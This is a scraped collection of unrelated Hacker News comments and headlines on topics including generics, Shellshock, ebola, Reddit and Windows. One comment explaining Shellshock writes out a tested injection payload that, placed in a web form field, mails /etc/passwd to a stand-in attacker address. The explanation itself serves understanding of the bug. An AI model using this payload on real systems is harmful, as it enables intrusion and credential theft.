skysight-inc/HackerNews huggingface dataset:
We aren't talking about changing the structure of the language, but about adding a feature to the language, generics, that would make it easier for people to build reusable libraries, especially libraries that treat functions (the verbs) as values that can be passed around, reused and still keep the static type safety of a language that is static.

Thing is, if you want a language without generics, then you want a dynamic language, because a static language without generics is overkill for building reusable stuff. Go's structural typing is cool and all, that's ad-hoc polymorphism done tastefully, but we are talking about a different kind of polymorphism here with different use-cases.

Watch that presentation, it's genius.
DiligenceEngine Automates Due Diligence, Removes Lawyers
To be honest their codesource isn't probably worth much, it's their userbase and traffic that makes up all of their value.
> What is the difference between describing something as extreme group think, and describing it as a circle jerk?

The audience you're describing it to. Nothing else, really. "Circlejerk" is such an overused term at this point people even use it to talk about anything remotely popular they dislike.

Case in point (googled): https://www.reddit.com/r/circlejerk/comments/220al8/frozen_f... - https://www.reddit.com/r/circlejerk/comments/2405y9/frozen_f...
Or perhaps a Sisyphean task?

http://en.wikipedia.org/wiki/Sisyphus
Thanks! Got tired of copying and pasting as well.

P.S. Upon reading the title of your submission, I thought this is some kind of public application sharing service where people could discuss each others' applications.
The reason for concern is that it's fairly easy for user data to reach bash at some point. Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock - and that includes all cases where PHP code under Apache does that. Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you.
I'm dating a lawyer. According to them, what you've written is true, however, speaking practically, there is a significant advantage to be gained from presenting evidence. If two parties show up to a dispute with identical source code, the one that has a copyright in it has an advantage. Sure, it's easily faked, and that could be argued, however, it would be trying to argue away evidence that exists which is much more difficult than arguing in favor of something that does exist. So if you want to lock in a victory and reduce court time, use copyright notices (and other legal notices like trespassing signs, etc.) liberally.
If that were true it would show exactly how messed up the Windows kernel is. To drag compatibility from 1995 around is just messed up if it is linked to the "Product Name". Not the kernel version or even the working title. nope. The customer facing, cooked up by marketing, product name.
Java on iPhone and iPad
Arduino MATERIA 101: 3D printer by Arduino Makers
I am happy to announce that a full Java "eco system" has been ported to IOS, the operating system powering the popular Iphone and IPad platform. This includes JIT based compilation, a graphical Swing subsystem and a development toolchain. The aim of this Java "eco system" is to deploy essentially unmodified Java applications on the IPhone and IPad - along with software written in the many other languages emerging on the Java virtual machine platform(JVM), such as Scala & Clojure. The significance is that there are many more existing, free Java applications than exist on the IPhone and IPad today. After all, the mantra of Java has always been "compile once, run anywhere."
Google offers schools unlimited Drive storage for students and teachers
Your employees were being abused and you blame them? Think your own emotional intelligence might need a firmware upgrade.
How to Start Your Affiliate Marketing
https://news.ycombinator.com/item?id=8388156
Empty linkbait headlines, only one of which actually leads to an article.

The Shellshock bug detection and remedy proves that open source works.

If a person is diagnosed with a disease and successfully treated, does this:

1. Prove that medicine is a success.

2. Prove that medicine is a failure.

Pick one, and think before you do.
Why You Should Consider Using `git-rebase`
the actual article...
http://www.straight.com/blogra/739401/homeless-vancouver-she...
I spent a few weeks in Joplin Mossouri. It's kind of boring
compared to the Bay Area; but I am seriously thinking about
living there, at least part time. There's a zen like charm
to that area--and it's not just because it's hot. The people were genuine, honestly nice, and trustworthy. The people ate horrid compared to our standards, drank, and smoked, but I have never saw so many functional old people.
I met guys who were pushing 90--still working, driving across the country to see their girlfriend, and genuinely
active? It was like walking in an episode of the Twilight
Zone. It was probally just my subjective observations, but
family and friends seem to have stronger bonds than here, they believe in a higher power, there was definetly less
pollution, and housing was dirt cheap. It was definetly
different than what I was expecting.
Understood. I based the claim that it was mostly reconnaissance right now on the fact that 83% of all the requests we were seeing were reconnaissance and not dropping malware. But, I agree, there is a lot of malware being dropped as well.
User first, then technology
Apple's Irish tax deal may be state aid
> OCaml has the advantage of offering very good performance
> while not having to deal with the borrow checker

My understanding was that OCaml had no support for parallelism -- so a single core is all you get. Is that not the case?
Depends on which Debian version you're running:

"Up to DebianLenny, the default /bin/sh shell was bash. Starting with DebianSqueeze, the default shell will be dash (see DashAsBinSh)."

[https://wiki.debian.org/Shell]

I think the safest thing here is to update no matter what shell your system is using. There is a multitude of vectors on how to attack a vulnerable machine if it has Bash installed on it.
> but on the other hand bash's ability for data to be executed as code was pretty much undocumented and is now considered the bug.

From the article you linked:

> Since Bash is both a command interpreter and a command, it is possible to execute Bash from within Bash. When this happens, the original instance can export environment variables and function definitions into the new instance.[16] Function definitions are exported by encoding them within the environment variable list as variables whose values begin with parentheses ("()") followed by a function definition. The new instance of Bash, upon starting, scans its environment variable list for values in this format and converts them back into internal functions.

I had this strange feeling after reading this, that it's been long time since people worked with low-level code. It's like the difference between method dispatch in C++ and, say, Python. In the latter, it's magic, it works and you don't care. In the former, it's part of basic language knowledge to understand how virtual methods are implemented by a hack involving pointers to arrays of function pointers (aka. vtables).
Reddit Closes $50M Raise and Goes After Its Own Cryptocurrency [video]
I was 16 years old and working in Seattle's Retail Computer Store when this device came out.

The store sold products from Altair, IMSAI, Processor Technology, and a couple of other companies.

I was thoroughly familiar with the 4K and 8K versions of Altair Basic and was surprised to find that the Compucolor's implementation had the same quirks and bugs yet claimed to be written by someone named Charles Muench.

One day Bill Gates (I swear) wandered in to the store and I showed him what I had found. He typed a couple of commands (maniacally fast, as I recall) and verified that the Compucolor Basic was actually Altair Basic in disguise.
Looking forward to the next windows. Windows 360. Oh no, Windows 365. Yeah, that's better. Comes bundled with Office 365 and you have to rent it for a monthly fee. And if you are behind with a payment, the thing refuses to boot or will only let you view your files in read-only mode or something.
I dislike being cynical, but I don't see many posts by Snoop that aren't in an article without his name in the title... or that aren't promoting one of his products. I'm smelling good PR work here, not an authentic interest in reddit.
>> It would be really helpful, to just search for some keyword and have the last occurence...

In Vi-mode, use ControlX-ControlL after typing the start of the line, then you have line based completion, which also completes from the history.
Not much point in killing a computer you've just unlocked for yourself. Much more profitable to use it as a spam node or launching platform for TCP/UDP/DNS DDOS attacks.
> "Specifically, the stigma' of incarceration and the accusation of shamelessness are not reserved for offenders; as recent empirical and ethnographic research confirms, the families of convicted and incarcerated persons experience a significant stigma as well."

AUSTIN, R. 2004. Shame of It All: Stigma and the Political Disenfranchisement of Formerly Convicted and Incarcerated Persons, The. Colum. Hum. Rts. L. Rev., 36, 173.
5 Array Methods That You Should Be Using Now
Malaria kills more people than ebola (up to now) but cars kill twice as much as malaria does (http://en.wikipedia.org/wiki/List_of_countries_by_traffic-re...). You could blame me for comparing deaths by cars with deaths by pathogens but let me explain.

Malaria and ebola can't be compared, malaria and cars can. Malaria and ebola are transmitted in very different way. You get malaria if you live in areas where some species of mosquitos carry the malaria plasmodium. This means that it doesn't get you if you don't enter one of those areas. You can't get malaria in NYC. You can be hit by a car there because cars are definitely endemic in NYC as they are in most of the world.

I'm worried by malaria. I don't like the side effects of it prophylaxis and I don't want to risk getting sick (the prophylaxis are not completely effective) so I don't travel in areas where it's endemic. I sincerely hope we can make a vaccine against it.

I'm also worried by cars as anybody else and I take the usual measures (watch left and right before crossing a street, drive carefully) but there are few places to hide, right?

I'm much more worried by ebola because if it gets big enough there will be little we can do to stop it: it's going to overcome quarantines and get to us in our cities across the oceans and it kills with 50% efficiency. If we want to think about something that could send the human population back to 3 billion in a few years we shouldn't look at malaria or cars, but at ebola. That's why also to me this is "a far more dangerous pathogen." Let's concentrate on ebola now, we'll get back to malaria when we'll have fixed it.
NearlyFreeSpeech.NET now supports persistent processes
Am I the only one who thinks this is just a farce ? Apple and Google probably simply claimed this to save their reputation and "Law Enforcement" is putting up a fight which it has already planned to lose publicly but Google and Apple will co-operate through the backdoor while giving a false sense of security to its user base ?
The opportunity gap is a myth. The real problem is cultural. Too many people believe themselves victims and act accordingly. There is certainly a very low probability of a poor person becoming a millionaire, but there are plenty of people who could go from poor to middle class if they made better decisions. For example, the poor too often gets caught up in the bread and circuses aspects to their own detriment. Do a survey of public housing projects and find out how many people have cable TV. It isn't about the monetary cost of that cable TV but it's a question of the opportunity cost. If someone were to spend two hours watching TV each day (actually a very low number) or if that person were to spend two hours at the public library learning something (for example learning basic coding) then in perhaps a year they might be able to find an entry level tech job. And, with the $30-60 per month they're saving from giving up TV, they could buy a cheap Linux box to start doing some coding on ODesk or eLancr, etc. in fact, most TVs cost as much as a low cost computer. Yet, time and time again you have poor people who can tell you everything about the Kardashians and nothing about HTML. I am not suggesting everyone should be a coder, but as an example it demonstrates a problem of priorities. Barely 8 years ago, I was dead broke, even living in my car for several months. My parents didn't go to college -- we weren't in poverty, however if would have been easy to just follow the path of the lower middle class. Instead, I'm now a software engineer and sometimes entrepreneur making over $200k per year. I make more in a year than my dad made in almost 6 years! I am not special -- anyone who is motivated can do it. The problem is that there is a culture of dependency among much of the poor. Effectively, our society has turned the poor into a bunch of children. Contrast that to the poor in China where entrepreneurism rather than dependency is the norm. American society enables the poor. Our War on Poverty has resulted in no change to poverty rates. Perhaps it's time to stop blaming the rich and start blaming leftist politicians who gain their power from a dependent underclass.
Link to the actual PDF: https://corkami.googlecode.com/svn-history/r1907/trunk/src/p...
You are getting downvoted to hell but I can see what you're meaning. Generally if someone hands you a CSV file there is no guarantee that something mental isn't happening as there is no "CSV" standard. So you're saying that when your task is "process the client's CSV file" you might not necessarily be able to rely on a library handling it correctly, and that you should prepare to get your hands dirty (perhaps hacking together something with a regex or two).
Continuum: Microsoft finally makes touch and mouse make sense together
Criminal Defense Gun Charges
He blames them for bringing their issues in to work.
Well, they're right pretty much by definition - otherwise it wouldn't matter at all what technology you use. You could code your CRUDs in Brainfuck connected to MongoDB. In real world, you gain consumer advantage by e.g. chosing right database for the problem, or playing to language's strengths (which is what pg done at Viaweb).
CDNv2 for the Cloud Generation
Again, what do you think the police are going to do if you've already been mugged?

I'm not in the US, but my brother got his cellphone back after it was stolen (not even mugged, so he didn't even see the thief). It probably helped that it was a device with built-in localization systems, though.

But in general, filing a police report is mandatory around here if you want to activate your insurance policy.
This is hilarious. Reddit is extremely racist and sexist. Extremely. It’s a disgusting and vile place. Open your eyes.
Define "epic proportions", because it seems that your threshold for "epic" is way too low.
10x more people are killed on US roads each year.
Courseeplus – India's No.1 Social Learning Platform for Knowledge Seekers
If I could upvote twice, I would. The idea that the economy is a "being" is communist rot. The idea that we can (or should) control the economy is nonsense. Attempting to control the economy is like trying to control the weather. Certainly we can work harder to mitigate the effects of the weather, but a bunch of smart people thinking hard enough can't stop a hurricane, no matter how socially desirable that might be.
One that looks like it's by an ordinary user but is really trying to promote the product.
Out of curiosity, what can you runon 256MB ram?
If you use Cloudfront you can: http://docs.aws.amazon.com/AmazonCloudFront/latest/Developer...
It's easy to imagine scenarios that would have it spread in the US.

1) Scenario : some guy/girl lands in Florida, later that day goes for a swim in a big swimming pool with some 100+ people in it because it's a very hot day. Half of those people are on holiday and return to various places in the US before exhibiting symptoms.

2) Ebola is known for spreading fast in hospitals

3) Definitely diagnosing ebola takes several days

The problem with ebola (and all the MRSA variants, a number of which do spread through the air, and a few others) is that it can go from a few patients infected to turning hospitals into death traps in 2 weeks flat.
> First, it’s always bothered me that users create so much of the value of sites like reddit but don’t own any of it.

If it bothered you that much, you would let users publish their contributions as cc-by-sa !
Stick it behind the free cloudflare tier and you'll get ssl now for free.
Show HN: Curated List of Trusted Docker Containers to Build SDLC
In lots of jobs, emotional intelligence is not that important, specially when you can "outsource" it from the workers to managers but on sales it is an essential ability.

The article's point is that they designed a test to check whether this is true, and found that in terms of dollars (which are the whole point of sales people) it wasn't. If you'd said "programmers," there wouldn't be too much room to disagree. Or if the author hadn't published other papers in the field, there probably wouldn't be grounds for disagreement, since nobody should take someone's word that they "ran a test" without at least some academic familiarity. But here's the author's related research: http://amj.aom.org/content/56/6/1703.abstract

Unless the whole article is a submarine piece to plug http://www.optimizehire.com/ (which is quite possible), it would seem that ignoring the facts while sticking to your gut feelings is a bad idea. That said, whether they are facts is debatable, since it's simply an anecdote from the author. But personally, I'd find it extremely interesting if an experiment called into question conventional wisdom, so hopefully the author will release rigorous details about his methodology and process.
I believe they fully except modern medicine for instance?

I though they believed many technologies disrupted happiness, because it took away from peoples interactions with each other. Or something like that. Which quite frankly is a totally plausible theory. Other than medicine/health technology I don't think there's a lot of proof other tech makes us happier directly. (Obviously someone needs to use a computer to make drugs, grow enough food, but it doesn't have to be them)
I like using Token based authentication + HTTPS. Using Rails (or nodejs, or whatever you want) and redis to store the tokens on the back-end.
Here's an article about it:
http://www.kdelemme.com/2014/03/09/authentication-with-angul...

Disclaimer: I'm the author.
I was under the impression that jailbreaking hasn't allowed for carrier unlocks in a long time.

> It's unfortunate that jailbreaking comes with non-obvious security compromises.

The 'dangers' are pretty obvious in my opinion. I might be biased though, as I'm a developer, which most people are not.
> Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned.

Definitely read on.

> Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?

Yes, because if Bash were sufficiently secure, then setting the value of an environment variable would be benign and harmless. If, on the other hand, bash executes arbitrary code while setting the value of an environment variable, this can cause a common and well-understood safe action to become extraordinarily dangerous. Consider this imaginary example at a website:

Enter name --

First: John

Last: Smith

Not much excitement here, unless Bash has the Shellshock vulnerability, in which case:

Enter name --

First: () { :;}; cat /etc/passwd | mail hacker@somewhere.com

Here's why this is dangerous -- the file /etc/passwd is locally world-readable, which ordinarily doesn't matter because an outsider can't either read it or export it to another place. But if this sensitive file could be exported to another place (and if it has the content this file ordinarily doesn't have in modern times), its contents could be decoded very rapidly without any multi-second pauses between tries or lockouts after several failed attempts such as are normal in a hacker's login attempt.

One method for breaking into a system is to get a copy of /etc/passwd that can then be read over and over again at high speed, then submit the file to a password cracking program. Such a program requires a local copy of /etc/password to succeed, and the above hack provides it.

BTW I tested the above hack and it would work, if (1) a CGI script is written in a particularly careless way (no input sanitizing in place), and if (2) /etc/passwd had the content it had several years ago before this specific attack method became obvious.
Real and directly caused by the US Government's actions. Just like theocratic Iran and Al Qaeda.

Did they ever figure out what Saddam did with the large stock of WMD that we know he had prior? Trucked off to Syria before the invasion? Where did it all go?
Does SILE offer any advantages when compared to LuaTeX? (http://www.luatex.org/)

LuaTeX seems to have all the same benefits, but in contrast to SILE, it also benefits from the CTAN archive.

So what's the selling point of SILE over LuaTeX?
Especially many dreamers in Japan. All these Japanese cartoons about robots kind of encouraged many people to build robots, but at the same time ruined them to desperately follow a dream of humanoid robot. Sometimes I wonder wouldn't it be better without these cartoons, because then resources would go to people motivated to create useful helpers, not childhood heroes.
That's great, thanks. I do not have a particularly large codebase so this might be worth a look at!
Microsoft Skips Ahead to Windows 10 and Takes a Step Backwards
Yep, the command builder of the process module was the inspiration for the pipeline system. Lots of other inspiration came from libserialize where I got loads of the type conversion (and especially tuple code) from.
Previously I thought of NFSN as a place to host a low-traffic static site for $1/year, or host an unmanaged WordPress site for $1/month. It sounds like it can now run web frameworks like Rails or Node.JS, as well as internal services like Redis.

I'm not sure where they fit in a world with free Google App Engine tiers and $5/mo VPSes. But they've been around a while, doing their thing, so that must be worth something to folks that are leery of the big guys and weary of being victims of acquisitions and product re-imaginings.
All the points that you raised are either plain illegal (piracy) or against terms of services you use (tethering). Not sure about carrier unlock in HK, because for example in my country (Poland) it's legal to unlock your phone and there's even this law that every carrier has to provide means to remove the simlock off the device after the end of their contract.
Emotional warfare if you can make the difference read more poetry and love
Reddit invested in imgur alongside a16z, so there's no reason for them to roll their own image host.
Shells are used in many obscure and surprising ways on UNIX-like systems. Not just direct CGI use. See some of my prior comments about shellshock for some of those ways.
Yes, I once heard of a guy that recovered from cancer after Scientology. Time for an audit!
Rust is meant to be practical, Haskell is more for academia (horrible ML syntax etc.).
Why would prison guard unions be in favor of ripping of prisoners with ridiculous fees?
>This is fucking extortion.

Not to be too pedantic, but that's not extortion. Nobody is required to buy them nor are they threatened by not buying them.
http://ideology.com.au/polyglot/
Why can't they just release a patch for Windows 8? Does a new start menu really warrant all this?